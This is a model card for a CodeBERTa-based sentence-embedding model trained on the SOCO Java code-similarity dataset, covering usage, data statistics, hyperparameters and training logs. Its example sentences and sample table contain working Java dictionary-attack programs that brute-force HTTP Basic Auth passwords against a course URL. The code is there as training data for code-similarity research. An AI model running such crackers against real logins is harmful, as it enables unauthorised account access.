- **Base model:** [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1) <!-- at revision e93b5898cff07f03f1c1c09cde284d1b85962363 -->
- **Maximum Sequence Length:** 512 tokens
- **Output Dimensionality:** 768 dimensions
- **Similarity Function:** Cosine Similarity
- **Training Dataset:**
- [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java)
<!-- - **Language:** Unknown -->
<!-- - **License:** Unknown -->
### Model Sources
- **Documentation:** [Sentence Transformers Documentation](https://sbert.net)
- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers)
- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers)
### Full Model Architecture
```
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
```
## Usage
### Direct Usage (Sentence Transformers)
First install the Sentence Transformers library:
```bash
pip install -U sentence-transformers
```
Then you can load this model and run inference.
```python
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-TripletLoss-100")
# Run inference
sentences = [
'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n URLConnection conn = null;\n private static boolean status = false;\n\n public static void main (String args[]){\n Dictionary a = new Dictionary();\n String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n \t\t\t\t "",\n \t\t\t\t ""};\n File file = new File("words");\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader in = new BufferedReader(\n new InputStreamReader\n (connectURL(new URL(args[0]), args[1], args[2])));\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n status = true;\n }\n }\n catch (IOException e) {\n \n }\n }\n\n public InputStream connectURL (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setRequestProperty ("Authorization",\n userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n public String userNamePasswordBase64(String username, String password) {\n return " " + base64Encode (username + ":" + password);\n }\n\n private final static char base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n };\n\n private static String base64Encode (String string) {\n String encodedString = "";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return encodedString;\n }\n }\n\n',
'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public void attack(String args[]) {\n try {\n String login = new String("");\n String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n String passwd = new String();\n\n\n passwd = getPasswd();\n BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n }\n System.out.println("Password Cracked Successfully!!!");\n System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n }\n catch (IOException e) {\n \n String r = new String(e.getMessage());\n if ( r != null)\n {\n System.out.println("Message :" +r);\n Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n String currentword = "";\n String se = "";\n try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setDoInput (true);\n conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n\n public String userNamePasswordBase64(String username, String password) {\n return " " + base64Encode (username + ":" + password);\n }\n\n private final static char base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n };\n\n private static String base64Encode (String string) {\n String encodedString = "";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return encodedString;\n }\n }\n\n',
'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n protected String wordFile;\n\n public Dictionary()\n {\n super();\n }\n\n public static void main(String[] args)\n {\n Dictionary dictionary = new Dictionary();\n\n if (args.length < 3)\n {\n System.out.println(dictionary.printUsage());\n }\n else\n {\n dictionary.setURL(args[0]);\n dictionary.setUserName(args[1]);\n dictionary.setWordFile(args[2]);\n\n if (args.length > 3)\n {\n dictionary.setFileName(args[3]);\n }\n dictionary.process();\n System.out.println(dictionary.printResult());\n System.exit(1);\n }\n }\n\n public void process()\n {\n attempts = 0;\n String password = "";\n \n setStart(new Timestamp(System.currentTimeMillis()));\n\n BufferedReader input = null;\n try\n {\n FileReader file = new FileReader(getWordFile());\n \n input = new BufferedReader(file);\n \n }\n catch (FileNotFoundException x)\n {\n System.err.println("File not found: " + getWordFile());\n System.exit(2);\n }\n\n try\n {\n while ((password = input.readLine()) != null)\n {\n try\n {\n \n attempts++;\n BasicAuthHttpRequest req =\n new BasicAuthHttpRequest(\n getURL(),\n getUserName(),\n password);\n setPassword(password);\n setEnd(new Timestamp(System.currentTimeMillis()));\n setContent(req.getContent().toString());\n\n \n if (getFileName() != null\n && getFileName().length() > 0)\n {\n createReport();\n }\n return;\n }\n catch (MalformedURLException e)\n {\n e.printStackTrace();\n return;\n }\n catch (IOException e)\n {\n\n }\n }\n }\n catch (IOException x)\n {\n x.printStackTrace();\n }\n\n \n setEnd(new Timestamp(System.currentTimeMillis()));\n\n }\n\n public String printUsage()\n {\n StringBuffer s = new StringBuffer();\n\n s.append("** BruteForce proper usage **\\n\\n");\n s.append(\n "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n return s.toString();\n }\n \n public String getWordFile()\n {\n return wordFile;\n }\n\n \n public void setWordFile(String string)\n {\n wordFile = string;\n }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
```
<!--
### Direct Usage (Transformers)
<details><summary>Click to see the direct usage in Transformers</summary>
</details>
-->
<!--
### Downstream Usage (Sentence Transformers)
You can finetune this model on your own dataset.
<details><summary>Click to expand</summary>
</details>
-->
<!--
### Out-of-Scope Use
*List how the model may foreseeably be misused and address what users ought not to do with the model.*
-->
<!--
## Bias, Risks and Limitations
*What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.*
-->
<!--
### Recommendations
*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.*
-->
## Training Details
### Training Dataset
#### soco_train_java
* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476)
* Size: 42,960 training samples
* Columns: <code>anchor_code</code>, <code>positive_code</code>, and <code>negative_code</code>
* Approximate statistics based on the first 1000 samples:
| | anchor_code | positive_code | negative_code |
|:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|
| type | string | string | string |
| details | <ul><li>min: 512 tokens</li><li>mean: 512.0 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 512 tokens</li><li>mean: 512.0 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 456.08 tokens</li><li>max: 512 tokens</li></ul> |
* Samples:
| anchor_code | positive_code | negative_code |
|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| <code>import java.net.*;<br>import java.io.*;<br>import java.*;<br><br> public class Dictionary {<br><br> URLConnection conn = null;<br> private static boolean status = false;<br><br> public static void main (String args[]){<br> Dictionary a = new Dictionary();<br> String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",<br> "",<br> ""};<br> File file = new File("words");<br> exit:<br> try {<br> BufferedReader in = new BufferedReader(new FileReader(file));<br> int attempt = 0;<br> inp[2] = in.readLine();<br> while (inp[2] != null) {<br> <br> if (inp[2].length() <= 3) {<br> attempt++;<br> a.doit(inp);<br> if (status) {<br> System.out.println("Crrect password is: " + inp[2]);<br> System.out.println("Number of attempts = " + attempt);<br> break exit;<br> }<br> }<br> inp[2] = in.readLine();<br> }<br> } catch (FileNotFoundException e1) {<br> <br> System.err.println("File not found: " + file);<br> } catch (IOException e2) {<br> <br> e2.printStackTrace();<br> }<br><br> }<br><br> public void doit(String ar...</code> | <code>import java.net.*;<br>import java.io.*;<br><br> public class Dictionary {<br> int attempts = 0;<br> URLConnection conn = null;<br><br> public static void main (String args[]){<br><br> Dictionary a = new Dictionary();<br> a.attack(args);<br> }<br><br> public void attack(String args[]) {<br> try {<br> String login = new String("");<br> String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");<br> String passwd = new String();<br><br><br> passwd = getPasswd();<br> BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));<br><br> String line;<br> while ((line = in.readLine()) != null) {<br> System.out.println(line);<br> }<br> System.out.println("Password Cracked Successfully!!!");<br> System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");<br> }<br> catch (IOException e) {<br> <br> String r = new String(e.getMessage());<br> if ( r != null)<br> {<br> System.out.println...</code> | <code> <br><br><br>import java.io.*;<br>import java.net.*;<br><br>import java.util.*;<br><br>import java.misc.BASE64Encoder;<br><br>public class Dictionary {<br><br> private String userId;<br> private String password;<br><br> ReadDictionary myWords = new ReadDictionary();<br><br> public Dictionary() {<br><br> <br> myWords.openFile();<br><br> <br> Authenticator.setDefault (new MyAuthenticator());<br> <br> <br> }<br><br> public String fetchURL (String urlString) {<br><br><br> StringBuffer sb = new StringBuffer();<br> HttpURLConnection connection;<br> Date startTime, endTime;<br> int responseCode = -1;<br> boolean retry = true; <br> <br> URL url;<br> startTime = new Date();<br> <br> System.out.println (" time :" + startTime);<br><br> while (retry == true)<br> {<br> <br> try {<br><br> url = new URL (urlString);<br><br> connection = (HttpURLConnection)url.openConnection();<br><br> setUserId("");<br> setPassword("rhk8611");<br><br> System.out.println("Attempting get a response : " +connection.getURL() );<br> responseCode = connection.getResponseCode();<br> System.out.print(responseCode + " ");<br><br> if (responseCode == HttpURLCo...</code> |
| <code>import java.net.*;<br>import java.io.*;<br>import java.*;<br><br> public class Dictionary {<br><br> URLConnection conn = null;<br> private static boolean status = false;<br><br> public static void main (String args[]){<br> Dictionary a = new Dictionary();<br> String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",<br> "",<br> ""};<br> File file = new File("words");<br> exit:<br> try {<br> BufferedReader in = new BufferedReader(new FileReader(file));<br> int attempt = 0;<br> inp[2] = in.readLine();<br> while (inp[2] != null) {<br> <br> if (inp[2].length() <= 3) {<br> attempt++;<br> a.doit(inp);<br> if (status) {<br> System.out.println("Crrect password is: " + inp[2]);<br> System.out.println("Number of attempts = " + attempt);<br> break exit;<br> }<br> }<br> inp[2] = in.readLine();<br> }<br> } catch (FileNotFoundException e1) {<br> <br> System.err.println("File not found: " + file);<br> } catch (IOException e2) {<br> <br> e2.printStackTrace();<br> }<br><br> }<br><br> public void doit(String ar...</code> | <code>import java.net.*;<br>import java.io.*;<br><br> public class Dictionary {<br> int attempts = 0;<br> URLConnection conn = null;<br><br> public static void main (String args[]){<br><br> Dictionary a = new Dictionary();<br> a.attack(args);<br> }<br><br> public void attack(String args[]) {<br> try {<br> String login = new String("");<br> String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");<br> String passwd = new String();<br><br><br> passwd = getPasswd();<br> BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));<br><br> String line;<br> while ((line = in.readLine()) != null) {<br> System.out.println(line);<br> }<br> System.out.println("Password Cracked Successfully!!!");<br> System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");<br> }<br> catch (IOException e) {<br> <br> String r = new String(e.getMessage());<br> if ( r != null)<br> {<br> System.out.println...</code> | <code><br><br>public class Base64 {<br><br> final static String baseTable = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";<br><br> <br> public static String encode(byte[] bytes) {<br><br> String tmp = "";<br> int i = 0;<br> byte pos; <br><br> for(i=0; i < (bytes.length - bytes.length%3); i+=3) {<br><br> pos = (byte) ((bytes[i] >> 2) & 63); <br> tmp = tmp + baseTable.charAt(pos); <br><br> pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15)); <br> tmp = tmp + baseTable.charAt( pos );<br> <br> pos = (byte) (((bytes[i+1] & 15) << 2) + ((bytes[i+2] >> 6) & 3));<br> tmp = tmp + baseTable.charAt(pos);<br> <br> pos = (byte) (((bytes[i+2]) & 63));<br> tmp = tmp + baseTable.charAt(pos);<br> <br> <br> <br> if(((i+2)%56) == 0) {<br> tmp = tmp + "\r\n";<br> }<br> }<br><br> if(bytes.length % 3 != 0) {<br><br> if(bytes.length % 3 == 2) {<br><br> pos = (byte) ((bytes[i] >> 2) & 63); <br> tmp = tmp + baseTable.charAt(pos); <br><br> pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15)); <br> tmp = tmp + baseTable.charAt( pos );<br> <br> ...</code> |
| <code>import java.net.*;<br>import java.io.*;<br>import java.*;<br><br> public class Dictionary {<br><br> URLConnection conn = null;<br> private static boolean status = false;<br><br> public static void main (String args[]){<br> Dictionary a = new Dictionary();<br> String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",<br> "",<br> ""};<br> File file = new File("words");<br> exit:<br> try {<br> BufferedReader in = new BufferedReader(new FileReader(file));<br> int attempt = 0;<br> inp[2] = in.readLine();<br> while (inp[2] != null) {<br> <br> if (inp[2].length() <= 3) {<br> attempt++;<br> a.doit(inp);<br> if (status) {<br> System.out.println("Crrect password is: " + inp[2]);<br> System.out.println("Number of attempts = " + attempt);<br> break exit;<br> }<br> }<br> inp[2] = in.readLine();<br> }<br> } catch (FileNotFoundException e1) {<br> <br> System.err.println("File not found: " + file);<br> } catch (IOException e2) {<br> <br> e2.printStackTrace();<br> }<br><br> }<br><br> public void doit(String ar...</code> | <code>import java.net.*;<br>import java.io.*;<br><br> public class Dictionary {<br> int attempts = 0;<br> URLConnection conn = null;<br><br> public static void main (String args[]){<br><br> Dictionary a = new Dictionary();<br> a.attack(args);<br> }<br><br> public void attack(String args[]) {<br> try {<br> String login = new String("");<br> String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");<br> String passwd = new String();<br><br><br> passwd = getPasswd();<br> BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));<br><br> String line;<br> while ((line = in.readLine()) != null) {<br> System.out.println(line);<br> }<br> System.out.println("Password Cracked Successfully!!!");<br> System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");<br> }<br> catch (IOException e) {<br> <br> String r = new String(e.getMessage());<br> if ( r != null)<br> {<br> System.out.println...</code> | <code><br><br>import java.net.*;<br>import java.io.IOException;<br>import java.util.*;<br>import java.io.*;<br>public class Dictionary {<br> static String userName;<br> static URL url;<br> static URLAuthenticator urlAuthenticator;<br> static int noOfAttempts;<br> <br> public Dictionary() {<br> }<br><br> public static void main (String args[]) {<br> Properties props = System.getProperties();<br> props.put("http.proxyHost", "bluetongue.cs.rmit.edu.:8080");<br> <br> System.out.println(props.get("http.proxyHost"));<br> BufferedReader inFile = null;<br> <br> try {<br> if (args.length < 1) { <br> System.out.println ("Usage : java Dictionary /usr/share/lib/dict/words");<br> System.exit(1);<br> } <br> inFile = new BufferedReader (new FileReader(args[0]));<br><br><br><br> breakPassword(inFile);<br> }<br> <br> catch (FileNotFoundException e) { <br> System.err.println(e.getMessage());<br> System.exit(1);<br> }<br> catch (IOException e) { <br> ...</code> |
* Loss: [<code>TripletLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#tripletloss) with these parameters:
```json
{
"distance_metric": "TripletDistanceMetric.EUCLIDEAN",
"triplet_margin": 5
}
```
### Training Hyperparameters
#### Non-Default Hyperparameters
- `per_device_train_batch_size`: 16
- `num_train_epochs`: 1
- `warmup_ratio`: 0.1
- `fp16`: True
- `batch_sampler`: no_duplicates
#### All Hyperparameters
<details><summary>Click to expand</summary>
- `overwrite_output_dir`: False
- `do_predict`: False
- `eval_strategy`: no
- `prediction_loss_only`: True
- `per_device_train_batch_size`: 16
- `per_device_eval_batch_size`: 8
- `per_gpu_train_batch_size`: None
- `per_gpu_eval_batch_size`: None
- `gradient_accumulation_steps`: 1
- `eval_accumulation_steps`: None
- `torch_empty_cache_steps`: None
- `learning_rate`: 5e-05
- `weight_decay`: 0.0
- `adam_beta1`: 0.9
- `adam_beta2`: 0.999
- `adam_epsilon`: 1e-08
- `max_grad_norm`: 1.0
- `num_train_epochs`: 1
- `max_steps`: -1
- `lr_scheduler_type`: linear
- `lr_scheduler_kwargs`: {}
- `warmup_ratio`: 0.1
- `warmup_steps`: 0
- `log_level`: passive
- `log_level_replica`: warning
- `log_on_each_node`: True
- `logging_nan_inf_filter`: True
- `save_safetensors`: True
- `save_on_each_node`: False
- `save_only_model`: False
- `restore_callback_states_from_checkpoint`: False
- `no_cuda`: False
- `use_cpu`: False
- `use_mps_device`: False
- `seed`: 42
- `data_seed`: None
- `jit_mode_eval`: False
- `use_ipex`: False
- `bf16`: False
- `fp16`: True
- `fp16_opt_level`: O1
- `half_precision_backend`: auto
- `bf16_full_eval`: False
- `fp16_full_eval`: False
- `tf32`: None
- `local_rank`: 0
- `ddp_backend`: None
- `tpu_num_cores`: None
- `tpu_metrics_debug`: False
- `debug`: []
- `dataloader_drop_last`: False
- `dataloader_num_workers`: 0
- `dataloader_prefetch_factor`: None
- `past_index`: -1
- `disable_tqdm`: False
- `remove_unused_columns`: True
- `label_names`: None
- `load_best_model_at_end`: False
- `ignore_data_skip`: False
- `fsdp`: []
- `fsdp_min_num_params`: 0
- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
- `fsdp_transformer_layer_cls_to_wrap`: None
- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
- `deepspeed`: None
- `label_smoothing_factor`: 0.0
- `optim`: adamw_torch
- `optim_args`: None
- `adafactor`: False
- `group_by_length`: False
- `length_column_name`: length
- `ddp_find_unused_parameters`: None
- `ddp_bucket_cap_mb`: None
- `ddp_broadcast_buffers`: False
- `dataloader_pin_memory`: True
- `dataloader_persistent_workers`: False
- `skip_memory_metrics`: True
- `use_legacy_prediction_loop`: False
- `push_to_hub`: False
- `resume_from_checkpoint`: None
- `hub_model_id`: None
- `hub_strategy`: every_save
- `hub_private_repo`: None
- `hub_always_push`: False
- `gradient_checkpointing`: False
- `gradient_checkpointing_kwargs`: None
- `include_inputs_for_metrics`: False
- `include_for_metrics`: []
- `eval_do_concat_batches`: True
- `fp16_backend`: auto
- `push_to_hub_model_id`: None
- `push_to_hub_organization`: None
- `mp_parameters`:
- `auto_find_batch_size`: False
- `full_determinism`: False
- `torchdynamo`: None
- `ray_scope`: last
- `ddp_timeout`: 1800
- `torch_compile`: False
- `torch_compile_backend`: None
- `torch_compile_mode`: None
- `include_tokens_per_second`: False
- `include_num_input_tokens_seen`: False
- `neftune_noise_alpha`: None
- `optim_target_modules`: None
- `batch_eval_metrics`: False
- `eval_on_start`: False
- `use_liger_kernel`: False
- `eval_use_gather_object`: False
- `average_tokens_across_devices`: False
- `prompts`: None
- `batch_sampler`: no_duplicates
- `multi_dataset_batch_sampler`: proportional
</details>
### Training Logs
| Epoch | Step | Training Loss |
|:------:|:----:|:-------------:|
| 0.0372 | 100 | 1.1693 |
| 0.0745 | 200 | 0.0311 |
| 0.1117 | 300 | 0.0292 |
| 0.1490 | 400 | 0.0112 |
| 0.1862 | 500 | 0.0105 |
| 0.2235 | 600 | 0.0214 |
| 0.2607 | 700 | 0.0185 |
| 0.2980 | 800 | 0.0177 |
| 0.3352 | 900 | 0.0074 |
| 0.3724 | 1000 | 0.0014 |
| 0.4097 | 1100 | 0.0115 |
| 0.4469 | 1200 | 0.0106 |
| 0.4842 | 1300 | 0.0017 |
| 0.5214 | 1400 | 0.012 |
| 0.5587 | 1500 | 0.0105 |
| 0.5959 | 1600 | 0.0065 |
| 0.6331 | 1700 | 0.0029 |
| 0.6704 | 1800 | 0.0066 |
| 0.7076 | 1900 | 0.0057 |
| 0.7449 | 2000 | 0.006 |
| 0.7821 | 2100 | 0.0015 |
| 0.8194 | 2200 | 0.002 |
| 0.8566 | 2300 | 0.0023 |
| 0.8939 | 2400 | 0.0016 |
| 0.9311 | 2500 | 0.0015 |
| 0.9683 | 2600 | 0.0021 |
### Framework Versions
- Python: 3.11.13
- Sentence Transformers: 4.1.0
- Transformers: 4.52.4
- PyTorch: 2.6.0+cu124
- Accelerate: 1.7.0
- Datasets: 3.6.0
- Tokenizers: 0.21.1
## Citation
### BibTeX
#### Sentence Transformers
```bibtex
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}
```
#### TripletLoss
```bibtex
@misc{hermans2017defense,
title={In Defense of the Triplet Loss for Person Re-Identification},
author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
year={2017},
eprint={1703.07737},
archivePrefix={arXiv},
primaryClass={cs.CV}
}
```
<!--
## Glossary
*Clearly define terms in order to be accessible across audiences.*
-->
<!--
## Model Card Authors
*Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction.*
-->
<!--
## Model Card Contact
*Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors.*
--> |